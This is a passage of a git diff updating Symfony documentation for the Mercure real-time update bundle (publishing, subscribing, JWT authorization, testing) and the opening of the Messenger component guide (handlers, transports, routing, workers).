object - $publisher($update); + $hub->publish($update); return new Response('published!'); } @@ -175,8 +247,8 @@ the **topic** being updated. This topic should be an `IRI`_ of the resource being dispatched. Usually, this parameter contains the original URL of the resource -transmitted to the client, but it can be any valid `IRI`_, it doesn't -have to be a URL that exists (similarly to XML namespaces). +transmitted to the client, but it can be any string or `IRI`_, +and it doesn't have to be a URL that exists (similarly to XML namespaces). The second parameter of the constructor is the content of the update. It can be anything, stored in any format. @@ -186,89 +258,84 @@ Atom, HTML or XML is recommended. Subscribing ~~~~~~~~~~~ -Subscribing to updates in JavaScript is straightforward: +Subscribing to updates in JavaScript from a Twig template is straightforward: -.. code-block:: javascript +.. code-block:: html+twig - const eventSource = new EventSource('http://localhost:3000/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1')); + <script> + const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}"); eventSource.onmessage = event => { // Will be called every time an update is published by the server console.log(JSON.parse(event.data)); } + </script> -Mercure also allows to subscribe to several topics, -and to use URI Templates or the special value ``*`` (matched by all topics) -as patterns: +The ``mercure()`` Twig function generates the URL of the Mercure hub +according to the configuration. The URL includes the ``topic`` query +parameters corresponding to the topics passed as first argument. -.. code-block:: javascript +If you want to access to this URL from an external JavaScript file, generate the +URL in a dedicated HTML element: - // URL is a built-in JavaScript class to manipulate URLs - const url = new URL('http://localhost:3000/.well-known/mercure'); - url.searchParams.append('topic', 'http://example.com/books/1'); - // Subscribe to updates of several Book resources - url.searchParams.append('topic', 'http://example.com/books/2'); - // All Review resources will match this pattern - url.searchParams.append('topic', 'http://example.com/reviews/{id}'); +.. code-block:: html+twig - const eventSource = new EventSource(url); - eventSource.onmessage = event => { - console.log(JSON.parse(event.data)); - } + <script type="application/json" id="mercure-url"> + {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }} + </script> -.. tip:: + <!-- with Stimulus --> + <div {{ stimulus_controller('my-controller', { + mercureUrl: mercure('https://example.com/books/1'), + }) }}> - Google Chrome DevTools natively integrate a `practical UI`_ displaying in live - the received events: +Then retrieve it from your JS file: - .. image:: /_images/mercure/chrome.png +.. code-block:: javascript - To use it: + const url = JSON.parse(document.getElementById("mercure-url").textContent); + const eventSource = new EventSource(url); + // ... - * open the DevTools - * select the "Network" tab - * click on the request to the Mercure hub - * click on the "EventStream" sub-tab. + // with Stimulus + this.eventSource = new EventSource(this.mercureUrlValue); -.. tip:: +Mercure also allows subscribing to several topics, +and to use URI Templates or the special value ``*`` (matched by all topics) +as patterns: - Test if a URI Template match a URL using `the online debugger`_ +.. code-block:: html+twig -Async dispatching ------------------ + <script> + {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #} + const eventSource = new EventSource("{{ mercure([ + 'https://example.com/books/1', + 'https://example.com/books/2', + 'https://example.com/reviews/{id}' + ])|escape('js') }}"); -Instead of calling the ``Publisher`` service directly, you can also let Symfony -dispatching the updates asynchronously thanks to the provided integration with -the Messenger component. + eventSource.onmessage = event => { + console.log(JSON.parse(event.data)); + } + </script> -First, be sure :doc:`to install the Messenger component </messenger>` -and to configure properly a transport (if you don't, the handler will -be called synchronously). +However, on the client side (i.e. in JavaScript's ``EventSource``), there is no +built-in way to know which topic a certain message originates from. If this (or +any other meta information) is important to you, you need to include it in the +message's data (e.g. by adding a key to the JSON, or a ``data-*`` attribute to +the HTML). -Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus, -it will be handled automatically:: +.. tip:: - // src/Controller/PublishController.php - namespace App\Controller; + Test if a URI Template matches a URL using `the online debugger`_ - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Mercure\Update; - use Symfony\Component\Messenger\MessageBusInterface; +.. tip:: - class PublishController - { - public function __invoke(MessageBusInterface $bus): Response - { - $update = new Update( - 'http://example.com/books/1', - json_encode(['status' => 'OutOfStock']) - ); + Google Chrome features a practical UI to display the received events: - // Sync, or async (RabbitMQ, Kafka...) - $bus->dispatch($update); + .. image:: /_images/mercure/chrome.png + :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event. - return new Response('published!'); - } - } + In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab. Discovery --------- @@ -277,10 +344,14 @@ The Mercure protocol comes with a discovery mechanism. To leverage it, the Symfony application must expose the URL of the Mercure Hub in a ``Link`` HTTP header. -.. image:: /_images/mercure/discovery.png +.. raw:: html + + <object data="_images/mercure/discovery.svg" type="image/svg+xml" + alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1." + ></object> -You can create ``Link`` headers with the :doc:`WebLink Component </web_link>`, -by using the ``AbstractController::addLink`` helper method:: +You can create ``Link`` headers with the ``Discovery`` helper class +(under the hood, it uses the :doc:`WebLink Component </web_link>`):: // src/Controller/DiscoverController.php namespace App\Controller; @@ -288,17 +359,14 @@ by using the ``AbstractController::addLink`` helper method:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\WebLink\Link; + use Symfony\Component\Mercure\Discovery; class DiscoverController extends AbstractController { - public function __invoke(Request $request): JsonResponse + public function discover(Request $request, Discovery $discovery): JsonResponse { - // This parameter is automatically created by the MercureBundle - $hubUrl = $this->getParameter('mercure.default_hub'); - - // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure" - $this->addLink($request, new Link('mercure', $hubUrl)); + // Link: <https://hub.example.com/.well-known/mercure>; rel="mercure" + $discovery->addLink($request); return $this->json([ '@id' => '/books/1', @@ -313,14 +381,14 @@ and to subscribe to it: .. code-block:: javascript // Fetch the original resource served by the Symfony web API - fetch('/books/1') // Has Link: <http://localhost:3000/.well-known/mercure>; rel="mercure" + fetch('/books/1') // Has Link: <https://hub.example.com/.well-known/mercure>; rel="mercure" .then(response => { // Extract the hub URL from the Link header const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1]; // Append the topic(s) to subscribe as query parameter - const hub = new URL(hubUrl); - hub.searchParams.append('topic', 'http://example.com/books/{id}'); + const hub = new URL(hubUrl, window.origin); + hub.searchParams.append('topic', 'https://example.com/books/{id}'); // Subscribe to updates const eventSource = new EventSource(hub); @@ -330,137 +398,141 @@ and to subscribe to it: Authorization ------------- -Mercure also allows to dispatch updates only to authorized clients. +Mercure also allows dispatching updates only to authorized clients. To do so, mark the update as **private** by setting the third parameter of the ``Update`` constructor to ``true``:: // src/Controller/Publish.php namespace App\Controller; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Mercure\PublisherInterface; use Symfony\Component\Mercure\Update; - class PublishController + class PublishController extends AbstractController { - public function __invoke(PublisherInterface $publisher): Response + public function publish(HubInterface $hub): Response { $update = new Update( - 'http://example.com/books/1', + 'https://example.com/books/1', json_encode(['status' => 'OutOfStock']), true // private ); // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401 // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update - $publisher($update); + $hub->publish($update); return new Response('private update published!'); } } To subscribe to private updates, subscribers must provide to the Hub -a JWT containing a topic selector matching by the update's topic. +a JWT containing a topic selector matching by the topic of the update. To provide this JWT, the subscriber can use a cookie, -or a ``Authorization`` HTTP header. +or an ``Authorization`` HTTP header. -Cookies are automatically sent by the browsers when opening an ``EventSource`` -connection if the ``withCredentials`` attribute is set to ``true``: +Cookies can be set automatically by Symfony by passing the appropriate options +to the ``mercure()`` Twig function. Cookies set by Symfony are automatically +passed by the browsers to the Mercure hub if the ``withCredentials`` attribute +of the ``EventSource`` class is set to ``true``. Then, the Hub verifies the +validity of the provided JWT, and extract the topic selectors from it. -.. code-block:: javascript +.. code-block:: html+twig - const eventSource = new EventSource(hub, { + <script> + const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", { withCredentials: true }); + </script> + +The supported options are: + +* ``subscribe``: the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT +* ``publish``: the list of topic selectors to include in the ``mercure.publish`` claim of the JWT +* ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...) Using cookies is the most secure and preferred way when the client is a web browser. If the client is not a web browser, then using an authorization header is the way to go. +.. warning:: + + To use the cookie authentication method, the Symfony app and the Hub + must be served from the same domain (can be different sub-domains). + .. tip:: The native implementation of EventSource doesn't allow specifying headers. - For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_ + For example, authorization using a Bearer token. In order to achieve that, use `a polyfill`_ - .. code-block:: javascript + .. code-block:: html+twig - const es = new EventSourcePolyfill(url, { + <script> + const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", { headers: { 'Authorization': 'Bearer ' + token, } }); + </script> -In the following example controller, -the generated cookie contains a JWT, itself containing the appropriate topic selector. -This cookie will be automatically sent by the web browser when connecting to the Hub. -Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors -from it. - -To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it: +Programmatically Setting The Cookie +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. code-block:: terminal +Sometimes, it can be convenient to set the authorization cookie from your code +instead of using the Twig function. MercureBundle provides a convenient service, +``Authorization``, to do so. - $ composer require lcobucci/jwt +In the following example controller, the added cookie contains a JWT, itself +containing the appropriate topic selector. And here is the controller:: // src/Controller/DiscoverController.php namespace App\Controller; - use Lcobucci\JWT\Builder; - use Lcobucci\JWT\Signer\Hmac\Sha256; - use Lcobucci\JWT\Signer\Key; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Cookie; + use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\WebLink\Link; + use Symfony\Component\Mercure\Authorization; + use Symfony\Component\Mercure\Discovery; class DiscoverController extends AbstractController { - public function __invoke(Request $request): Response + public function publish(Request $request, Discovery $discovery, Authorization $authorization): JsonResponse { - $hubUrl = $this->getParameter('mercure.default_hub'); - $this->addLink($request, new Link('mercure', $hubUrl)); - - $token = (new Builder()) - // set other appropriate JWT claims, such as an expiration date - ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or * - ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe! - - $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']); - $cookie = Cookie::create('mercureAuthorization') - ->withValue($token) - ->withPath('/.well-known/mercure') - ->withSecure(true) - ->withHttpOnly(true) - ->withSameSite('strict') - ; - $response->headers->setCookie($cookie); - - return $response; + $discovery->addLink($request); + $authorization->setCookie($request, ['https://example.com/books/1']); + + return $this->json([ + '@id' => '/demo/books/1', + 'availability' => 'https://schema.org/InStock' + ]); } } -.. caution:: +.. tip:: - To use the cookie authentication method, the Symfony app and the Hub - must be served from the same domain (can be different sub-domains). + You cannot use the ``mercure()`` helper and the ``setCookie()`` + method at the same time (it would set the cookie twice on a single request). Choose + either one method or the other. -Generating Programmatically The JWT Used to Publish +Programmatically Generating The JWT Used to Publish --------------------------------------------------- Instead of directly storing a JWT in the configuration, -you can create a service that will return the token used by -the ``Publisher`` object:: +you can create a token provider that will return the token used by +the ``HubInterface`` object:: - // src/Mercure/MyJwtProvider.php + // src/Mercure/MyTokenProvider.php namespace App\Mercure; - final class MyJwtProvider + use Symfony\Component\Mercure\Jwt\TokenProviderInterface; + + final class MyTokenProvider implements TokenProviderInterface { - public function __invoke(): string + public function getJwt(): string { return 'the-JWT'; } @@ -477,7 +549,8 @@ Then, reference this service in the bundle configuration: hubs: default: url: https://mercure-hub.example.com/.well-known/mercure - jwt_provider: App\Mercure\MyJwtProvider + jwt: + provider: App\Mercure\MyTokenProvider .. code-block:: xml @@ -487,8 +560,9 @@ Then, reference this service in the bundle configuration: <hub name="default" url="https://mercure-hub.example.com/.well-known/mercure" - jwt-provider="App\Mercure\MyJwtProvider" - /> + > + <jwt provider="App\Mercure\MyTokenProvider"/> + </hub> </config> .. code-block:: php @@ -500,7 +574,9 @@ Then, reference this service in the bundle configuration: 'hubs' => [ 'default' => [ 'url' => 'https://mercure-hub.example.com/.well-known/mercure', - 'jwt_provider' => MyJwtProvider::class, + 'jwt' => [ + 'provider' => MyJwtProvider::class, + ], ], ], ]); @@ -533,22 +609,16 @@ hypermedia API, and automatic update broadcasting through the Mercure hub:: use ApiPlatform\Core\Annotation\ApiResource; use Doctrine\ORM\Mapping as ORM; - /** - * @ApiResource(mercure=true) - * @ORM\Entity - */ + #[ApiResource(mercure: true)] + #[ORM\Entity] class Book { - /** - * @ORM\Id - * @ORM\Column - */ - public $name; - - /** - * @ORM\Column - */ - public $status; + #[ORM\Id] + #[ORM\Column] + public string $name = ''; + + #[ORM\Column] + public string $status = ''; } As showcased `in this recording`_, the API Platform Client Generator also @@ -559,32 +629,71 @@ Checkout `the dedicated API Platform documentation`_ to learn more about its Mercure support. Testing --------- +------- -During functional testing there is no need to send updates to Mercure. They will -be handled by a stub publisher:: +During unit testing it's usually not needed to send updates to Mercure. - // tests/Functional/Fixtures/PublisherStub.php - namespace App\Tests\Functional\Fixtures; +You can instead make use of the ``MockHub`` class:: - use Symfony\Component\Mercure\PublisherInterface; + // tests/FunctionalTest.php + namespace App\Tests\Unit\Controller; + + use App\Controller\MessageController; + use Symfony\Component\Mercure\HubInterface; + use Symfony\Component\Mercure\JWT\StaticTokenProvider; + use Symfony\Component\Mercure\MockHub; use Symfony\Component\Mercure\Update; - class PublisherStub implements PublisherInterface + class MessageControllerTest extends TestCase { - public function __invoke(Update $update): string + public function testPublishing(): void { - return ''; + $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string { + // $this->assertTrue($update->isPrivate()); + + return 'id'; + }); + + $controller = new MessageController($hub); + + // ... } } -PublisherStub decorates the default publisher service so no updates are actually -sent. Here is the PublisherStub implementation:: +For functional testing, you can instead create a stub of the Hub:: + + // tests/Functional/Stub/HubStub.php + namespace App\Tests\Functional\Stub; + + use Symfony\Component\Mercure\HubInterface; + use Symfony\Component\Mercure\Update; + + class HubStub implements HubInterface + { + public function publish(Update $update): string + { + return 'id'; + } + + // implement rest of HubInterface methods here + } + +Use ``HubStub`` to replace the default hub service so no updates are actually +sent: + +.. code-block:: yaml # config/services_test.yaml - App\Tests\Functional\Fixtures\PublisherStub: - decorates: mercure.hub.default.publisher + services: + mercure.hub.default: + class: App\Tests\Functional\Stub\HubStub + +As MercureBundle supports multiple hubs, you may have to replace +the other service definitions accordingly. + +.. tip:: + Symfony Panther has `a feature to test applications using Mercure`_. Debugging --------- @@ -593,38 +702,71 @@ Debugging The WebProfiler panel was introduced in MercureBundle 0.2. -Enable the panel in your configuration, as follows: +MercureBundle is shipped with a debug panel. Install the Debug pack to +enable it:: -.. configuration-block:: +.. code-block:: terminal - .. code-block:: yaml + $ composer require --dev symfony/debug-pack - # config/packages/mercure.yaml - mercure: - enable_profiler: '%kernel.debug%' +.. image:: /_images/mercure/panel.png + :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure. + :class: with-browser - .. code-block:: xml +The Mercure hub itself provides a debug tool that can be enabled and it's +available on ``/.well-known/mercure/ui/`` - <!-- config/packages/mercure.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> +Async dispatching +----------------- - <mercure:config enable_profiler="%kernel.debug%"/> +.. tip:: - </container> + Async dispatching is discouraged. Most Mercure hubs already + handle publications asynchronously and using Messenger is + usually not necessary. - .. code-block:: php +Instead of calling the ``Publisher`` service directly, you can also let Symfony +dispatching the updates asynchronously thanks to the provided integration with +the Messenger component. - // config/packages/mercure.php - $container->loadFromExtension('mercure', [ - 'enable_profiler' => '%kernel.debug%', - ]); +First, be sure :doc:`to install the Messenger component </messenger>` +and to configure properly a transport (if you don't, the handler will +be called synchronously). +Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus, +it will be handled automatically:: -.. image:: /_images/mercure/panel.png + // src/Controller/PublishController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Mercure\Update; + use Symfony\Component\Messenger\MessageBusInterface; + + class PublishController extends AbstractController + { + public function publish(MessageBusInterface $bus): Response + { + $update = new Update( + 'https://example.com/books/1', + json_encode(['status' => 'OutOfStock']) + ); + + // Sync, or async (Doctrine, RabbitMQ, Kafka...) + $bus->dispatch($update); + + return new Response('published!'); + } + } + +Going further +------------- + +* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`. + Use it to send push notifications to web browsers. +* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience + as with Single Page Applications but without having to write a single line of JavaScript! .. _`the Mercure protocol`: https://mercure.rocks/spec .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events @@ -632,10 +774,12 @@ Enable the panel in your configuration, as follows: .. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI .. _`Mercure.rocks`: https://mercure.rocks +.. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/ .. _`API Platform distribution`: https://api-platform.com/docs/distribution/ .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY .. _`IRI`: https://tools.ietf.org/html/rfc3987 -.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/ .. _`the online debugger`: https://uri-template-tester.mercure.rocks +.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket +.. _`Symfony UX Turbo`: https://github.com/symfony/ux-turbo diff --git a/messenger.rst b/messenger.rst index 296f5bc62ba..9ffb4164426 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1,12 +1,9 @@ -.. index:: - single: Messenger - Messenger: Sync & Queued Message Handling ========================================= Messenger provides a message bus with the ability to send messages and then handle them immediately in your application or send them through transports -(e.g. queues) to be handled later. To learn more deeply about it, read the +(e.g. queues) to be handled later. To learn more about it, read the :doc:`Messenger component docs </components/messenger>`. Installation @@ -25,7 +22,7 @@ Creating a Message & Handler Messenger centers around two different classes that you'll create: (1) a message class that holds data and (2) a handler(s) class that will be called when that message is dispatched. The handler class will read the message class and perform -some task. +one or more tasks. There are no specific requirements for a message class, except that it can be serialized:: @@ -35,11 +32,9 @@ serialized:: class SmsNotification { - private $content; - - public function __construct(string $content) - { - $this->content = $content; + public function __construct( + private string $content, + ) { } public function getContent(): string @@ -51,17 +46,18 @@ serialized:: .. _messenger-handler: A message handler is a PHP callable, the recommended way to create it is to -create a class that implements :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface` -and has an ``__invoke()`` method that's type-hinted with the message class (or a -message interface):: +create a class that has the :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler` +attribute and has an ``__invoke()`` method that's type-hinted with the +message class (or a message interface):: // src/MessageHandler/SmsNotificationHandler.php namespace App\MessageHandler; use App\Message\SmsNotification; - use Symfony\Component\Messenger\Handler\MessageHandlerInterface; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; - class SmsNotificationHandler implements MessageHandlerInterface + #[AsMessageHandler] + class SmsNotificationHandler { public function __invoke(SmsNotification $message) { @@ -69,6 +65,12 @@ message interface):: } } +.. tip:: + + You can also use the ``#[AsMessageHandler]`` attribute on individual class + methods. You may use the attribute on as many methods in a single class as you + like, allowing you to group the handling of multiple related types of messages. + Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification`` type-hint, Symfony knows that this handler should be called when an ``SmsNotification`` message is dispatched. Most of the time, this is all you need to do. But you can @@ -90,18 +92,16 @@ You're ready! To dispatch the message (and call the handler), inject the use App\Message\SmsNotification; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Messenger\MessageBusInterface; class DefaultController extends AbstractController { - public function index(MessageBusInterface $bus) + public function index(MessageBusInterface $bus): Response { // will cause the SmsNotificationHandler to be called $bus->dispatch(new SmsNotification('Look! I created a message!')); - // or use the shortcut - $this->dispatchMessage(new SmsNotification('Look! I created a message!')); - // ... } } @@ -118,7 +118,8 @@ is capable of sending messages (e.g. to a queueing system) and then .. note:: If you want to use a transport that's not supported, check out the - `Enqueue's transport`_, which supports things like Kafka and Google Pub/Sub. + `Enqueue's transport`_, which backs services like Kafka and Google + Pub/Sub. A transport is registered using a "DSN". Thanks to Messenger's Flex recipe, your ``.env`` file already has a few examples. @@ -179,19 +180,20 @@ that uses this configuration: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'async' => '%env(MESSENGER_TRANSPORT_DSN)%', - - // or expanded to configure more options - 'async' => [ - 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%', - 'options' => [] - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->messenger() + ->transport('async') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ; + + $framework->messenger() + ->transport('async') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->options([]) + ; + }; .. _messenger-routing: @@ -201,8 +203,23 @@ Routing Messages to a Transport Now that you have a transport configured, instead of handling a message immediately, you can configure them to be sent to a transport: +.. _messenger-message-attribute: + .. configuration-block:: + .. code-block:: php-attributes + + // src/Message/SmsNotification.php + namespace App\Message; + + use Symfony\Component\Messenger\Attribute\AsMessage; + + #[AsMessage('async')] + class SmsNotification + { + // ... + } + .. code-block:: yaml # config/packages/messenger.yaml @@ -213,7 +230,7 @@ you can configure them to be sent to a transport: routing: # async is whatever name you gave your transport above - 'App\Message\SmsNotification': async + 'App\Message\SmsNotification': async .. code-block:: xml @@ -240,24 +257,71 @@ you can configure them to be sent to a transport: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'routing' => [ - // async is whatever name you gave your transport above - 'App\Message\SmsNotification' => 'async', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->messenger() + // async is whatever name you gave your transport above + ->routing('App\Message\SmsNotification')->senders(['async']) + ; + }; + +.. versionadded:: 7.2 + + The ``#[AsMessage]`` attribute was introduced in Symfony 7.2. Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async`` transport and its handler(s) will *not* be called immediately. Any messages not -matched under ``routing`` will still be handled immediately. +matched under ``routing`` will still be handled immediately, i.e. synchronously. + +.. note:: + + If you configure routing with both YAML/XML/PHP configuration files and + PHP attributes, the configuration always takes precedence over the class + attribute. This behavior allows you to override routing on a per-environment basis. + +.. note:: + + When configuring the routing in separate YAML/XML/PHP files, you can use a partial + PHP namespace like ``'App\Message\*'`` to match all the messages within the + matching namespace. The only requirement is that the ``'*'`` wildcard has to + be placed at the end of the namespace. + + You may use ``'*'`` as the message class. This will act as a default routing + rule for any message not matched under ``routing``. This is useful to ensure + no message is handled synchronously by default. + + The only drawback is that ``'*'`` will also apply to the emails sent with the + Symfony Mailer (which uses ``SendEmailMessage`` when Messenger is available). + This could cause issues if your emails are not serializable (e.g. if they include + file attachments as PHP resources/streams). You can also route classes by their parent class or interface. Or send messages to multiple transports: .. configuration-block:: + .. code-block:: php-attributes + + // src/Message/SmsNotification.php + namespace App\Message; + + use Symfony\Component\Messenger\Attribute\AsMessage; + + #[AsMessage(['async', 'audit'])] + class SmsNotification + { + // ... + } + + // if you prefer, you can also apply multiple attributes to the message class + #[AsMessage('async')] + #[AsMessage('audit')] + class SmsNotification + { + // ... + } + .. code-block:: yaml # config/packages/messenger.yaml @@ -302,34 +366,47 @@ to multiple transports: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'routing' => [ - // route all messages that extend this example base class or interface - 'App\Message\AbstractAsyncMessage' => 'async', - 'App\Message\AsyncMessageInterface' => 'async', - 'My\Message\ToBeSentToTwoSenders' => ['async', 'audit'], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + // route all messages that extend this example base class or interface + $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']); + $messenger->routing('App\Message\AsyncMessageInterface')->senders(['async']); + $messenger->routing('My\Message\ToBeSentToTwoSenders')->senders(['async', 'audit']); + }; + +.. note:: + + If you configure routing for both a child and parent class, both rules + are used. E.g. if you have an ``SmsNotification`` object that extends + from ``Notification``, both the routing for ``Notification`` and + ``SmsNotification`` will be used. + +.. tip:: + + You can define and override the transport that a message is using at + runtime by using the + :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp` on + the envelope of the message. This stamp takes an array of transport + name as its only argument. For more information about stamps, see + `Envelopes & Stamps`_. Doctrine Entities in Messages ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you need to pass a Doctrine entity in a message, it's better to pass the entity's primary key (or whatever relevant information the handler actually needs, like ``email``, -etc) instead of the object:: +etc.) instead of the object (otherwise you might see errors related to the Entity Manager):: // src/Message/NewUserWelcomeEmail.php namespace App\Message; class NewUserWelcomeEmail { - private $userId; - - public function __construct(int $userId) - { - $this->userId = $userId; + public function __construct( + private int $userId, + ) { } public function getUserId(): int @@ -345,18 +422,17 @@ Then, in your handler, you can query for a fresh object:: use App\Message\NewUserWelcomeEmail; use App\Repository\UserRepository; - use Symfony\Component\Messenger\Handler\MessageHandlerInterface; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; - class NewUserWelcomeEmailHandler implements MessageHandlerInterface + #[AsMessageHandler] + class NewUserWelcomeEmailHandler { - private $userRepository; - - public function __construct(UserRepository $userRepository) - { - $this->userRepository = $userRepository; + public function __construct( + private UserRepository $userRepository, + ) { } - public function __invoke(NewUserWelcomeEmail $welcomeEmail) + public function __invoke(NewUserWelcomeEmail $welcomeEmail): void { $user = $this->userRepository->find($welcomeEmail->getUserId()); @@ -366,6 +442,8 @@ Then, in your handler, you can query for a fresh object:: This guarantees the entity contains fresh data. +.. _messenger-handling-messages-synchronously: + Handling Messages Synchronously ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -418,18 +496,16 @@ transport and "sending" messages there to be handled immediately: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - // ... other transports + use Symfony\Config\FrameworkConfig; - 'sync' => 'sync://', - ], - 'routing' => [ - 'App\Message\SmsNotification' => 'sync', - ], - ], - ]); + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + // ... other transports + + $messenger->transport('sync')->dsn('sync://'); + $messenger->routing('App\Message\SmsNotification')->senders(['sync']); + }; Creating your Own Transport ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -456,30 +532,86 @@ The first argument is the receiver's name (or service id if you routed to a custom service). By default, the command will run forever: looking for new messages on your transport and handling them. This command is called your "worker". +If you want to consume messages from all available receivers, you can use the +command with the ``--all`` option: + +.. code-block:: terminal + + $ php bin/console messenger:consume --all + +.. versionadded:: 7.1 + + The ``--all`` option was introduced in Symfony 7.1. + +Messages that take a long time to process may be redelivered prematurely because +some transports assume that an unacknowledged message is lost. To prevent this +issue, use the ``--keepalive`` command option to specify an interval (in seconds; +default value = ``5``) at which the message is marked as "in progress". This prevents +the message from being redelivered until the worker completes processing it: + +.. code-block:: terminal + + $ php bin/console messenger:consume --keepalive + +.. note:: + + This option is only available for the following transports: Beanstalkd, AmazonSQS, Doctrine and Redis. + +.. versionadded:: 7.2 + + The ``--keepalive`` option was introduced in Symfony 7.2. + +.. tip:: + + In a development environment and if you're using the Symfony CLI tool, + you can configure workers to be automatically run along with the webserver. + You can find more information in the + :ref:`Symfony CLI Workers <symfony-server_configuring-workers>` documentation. + +.. tip:: + + To properly stop a worker, throw an instance of + :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`. + Deploying to Production ~~~~~~~~~~~~~~~~~~~~~~~ On production, there are a few important things to think about: -**Use Supervisor to keep your worker(s) running** +**Use a Process Manager like Supervisor or systemd to keep your worker(s) running** You'll want one or more "workers" running at all times. To do that, use a - process control system like :ref:`Supervisor <messenger-supervisor>`. + process control system like :ref:`Supervisor <messenger-supervisor>` + or :ref:`systemd <messenger-systemd>`. **Don't Let Workers Run Forever** Some services (like Doctrine's ``EntityManager``) will consume more memory over time. So, instead of allowing your worker to run forever, use a flag like ``messenger:consume --limit=10`` to tell your worker to only handle 10 - messages before exiting (then Supervisor will create a new process). There + messages before exiting (then the process manager will create a new process). There are also other options like ``--memory-limit=128M`` and ``--time-limit=3600``. +**Stopping Workers That Encounter Errors** + If a worker dependency like your database server is down, or timeout is reached, + you can try to add :ref:`reconnect logic <middleware-doctrine>`, or just quit + the worker if it receives too many errors with the ``--failure-limit`` option of + the 